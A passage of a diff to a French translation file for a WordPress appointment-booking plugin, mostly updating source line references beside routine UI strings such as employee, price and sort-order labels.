includes\u002Fpost-types\u002FEmployeePostType.php:52\n #: assets\u002Fjs\u002Fanalytics-page.js:33437\n #: assets\u002Fjs\u002Fcalendar-page.js:45414\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11557\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12473\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n msgid \"Employees\"\n msgstr \"Employés\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:593\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:601\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:210\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageSchedulesPage.php:134\n #: includes\u002Fdivi\u002Fmodules\u002FAppointmentFormModule.php:140\n@@ -391,7 +381,7 @@\n msgid \"Employee\"\n msgstr \"Employé\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:594\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:602\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageServicesPage.php:23\n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:159\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:193\n@@ -403,11 +393,11 @@\n #: templates\u002Fservice\u002Fprice.php:19\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-admin-cart.php:36\n #: templates\u002Fshortcodes\u002Fbooking\u002Fstep-cart.php:64\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12559\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12560\n msgid \"Price\"\n msgstr \"Prix\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:595\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:603\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:156\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManagePaymentsPage.php:72\n #: includes\u002Ffields\u002Fcomplex\u002FLicenseSettingsField.php:79\n@@ -417,7 +407,7 @@\n msgid \"Status\"\n msgstr \"État\"\n \n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:596\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:604\n #: includes\u002Fadmin-pages\u002Fmanage\u002FManageNotificationsPage.php:214\n #: includes\u002Flist-tables\u002Femails\u002FCustomerEmailsListTable.php:32\n #: includes\u002Fmetaboxes\u002Fnotification\u002FNotificationSettingsMetabox.php:86\n@@ -427,7 +417,7 @@\n msgstr \"Client\"\n \n #. Translators: %s: Paid amount.\n-#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:695\n+#: includes\u002Fadmin-pages\u002Fmanage\u002FManageBookingsPage.php:703\n #, php-format\n msgid \"Paid: %s\"\n msgstr \"Payé: %s\"\n@@ -473,10 +463,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:202\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:67\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:62\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11634\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11905\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12214\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12562\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11635\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11906\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12215\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12563\n msgid \"Order\"\n msgstr \"commande\"\n \n@@ -845,7 +835,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:68\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:94\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:191\n-#: assets\u002Fjs\u002Fedit-post.js:9055\n+#: assets\u002Fjs\u002Fedit-post.js:9056\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3333\n #: assets\u002Fjs\u002Fwidgets-manage-page.js:3069\n msgid \"— Select —\"\n@@ -1232,7 +1222,7 @@\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:32\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:139\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11359\n msgid \"Appointment Form\"\n msgstr \"Formulaire de rendez-vous\"\n \n@@ -1480,7 +1470,7 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FAppointmentFormLabelsMetabox.php:76\n #: includes\u002Fshortcodes\u002FAppointmentFormShortcode.php:100\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:198\n-#: assets\u002Fjs\u002Fedit-post.js:9057\n+#: assets\u002Fjs\u002Fedit-post.js:9058\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3202\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3204\n #: assets\u002Fjs\u002Fgutenberg-blocks.js:3205\n@@ -1494,7 +1484,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:146\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:79\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:91\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12493\n msgid \"Comma-separated slugs or IDs of tags that will be shown.\"\n msgstr \"Des slugs séparés par des virgules ou des identifiants de libellés qui seront affichés.\"\n \n@@ -1571,7 +1561,7 @@\n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeAdditionalInfoModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeAdditionalInfoShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13604\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13605\n msgid \"Employee Additional Information\"\n msgstr \"Informations supplémentaires sur l'employé\"\n \n@@ -1592,49 +1582,49 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:47\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FAbstractSingleEmployeeShortcode.php:25\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12690\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12813\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12936\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13059\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13182\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13305\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13428\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13551\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12691\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12814\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12937\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13060\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13183\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13306\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13429\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13552\n msgid \"Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise.\"\n msgstr \"Post ID d'un employé à partir duquel afficher le contenu. Remarque : ce paramètre utilise automatiquement l'ID du poste actuel lorsqu'un shortcode se trouve dans le message de l'employé et est requis dans le cas contraire.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContactsModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContactsWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContactsShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13358\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13359\n msgid \"Employee Contact Information\"\n msgstr \"Coordonnées de l'employé\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeContentModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeContentWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeContentShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13235\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13236\n msgid \"Employee Content\"\n msgstr \"Contenu de l'employé\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeImageModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeImageWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeImageShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12743\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12744\n msgid \"Employee Image\"\n msgstr \"Image de l'employé\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeScheduleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeScheduleWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeScheduleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13112\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13113\n msgid \"Employee Schedule\"\n msgstr \"Horaire des employés\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeServicesListModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeServicesListWidget.php:24\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12989\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12990\n msgid \"Employee Services List\"\n msgstr \"Liste des services des employés\"\n \n@@ -1642,7 +1632,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11692\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11693\n msgid \"Employees List\"\n msgstr \"Liste des employés\"\n \n@@ -1658,10 +1648,10 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:41\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:43\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11509\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11804\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12090\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12408\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11805\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12091\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12409\n msgid \"Show featured image.\"\n msgstr \"Afficher l'image de couverture.\"\n \n@@ -1674,9 +1664,9 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:46\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:46\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11517\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11812\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12416\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11518\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11813\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12417\n msgid \"Show post title.\"\n msgstr \"Afficher le titre du message.\"\n \n@@ -1689,30 +1679,30 @@\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:51\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:51\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:51\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11525\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11820\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12424\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11821\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12425\n msgid \"Show post excerpt.\"\n msgstr \"Afficher l'extrait du message.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:74\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11533\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11534\n msgid \"Show contact information.\"\n msgstr \"Afficher les informations de contact.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:84\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11542\n msgid \"Show social networks.\"\n msgstr \"Afficher les réseaux sociaux.\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:94\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"Afficher des informations supplémentaires.\"\n \n@@ -1720,7 +1710,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"Slugs séparés par des virgules ou identifiants des employés qui seront affichés.\"\n \n@@ -1734,8 +1724,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"Emplacements\"\n \n@@ -1743,8 +1733,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"Slugs séparés par des virgules ou identifiants d'emplacements.\"\n \n@@ -1757,9 +1747,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"Messages par page\"\n \n@@ -1777,10 +1767,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"Nombre de colonnes\"\n \n@@ -1798,10 +1788,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"Le nombre de colonnes dans la grille.\"\n \n@@ -1815,10 +1805,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"commander par\"\n \n@@ -1832,10 +1822,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"pas de commande\"\n \n@@ -1846,9 +1836,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"Numéro de poste\"\n \n@@ -1859,9 +1849,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"Auteur du message\"\n \n@@ -1875,9 +1865,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"Titre de l'article\"\n \n@@ -1888,9 +1878,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"Nom du message (poste slug)\"\n \n@@ -1901,9 +1891,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"Date de publication\"\n \n@@ -1914,9 +1904,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"Date de la dernière modification\"\n \n@@ -1927,9 +1917,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"Ordre aléatoire\"\n \n@@ -1940,9 +1930,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"Pertinence\"\n \n@@ -1956,10 +1946,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"Ordre de la page\"\n \n@@ -1970,9 +1960,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"Ordre des pages et titre du message\"\n \n@@ -1984,10 +1974,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"DESC\"\n \n@@ -2001,24 +1991,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"ASC\"\n \n #: 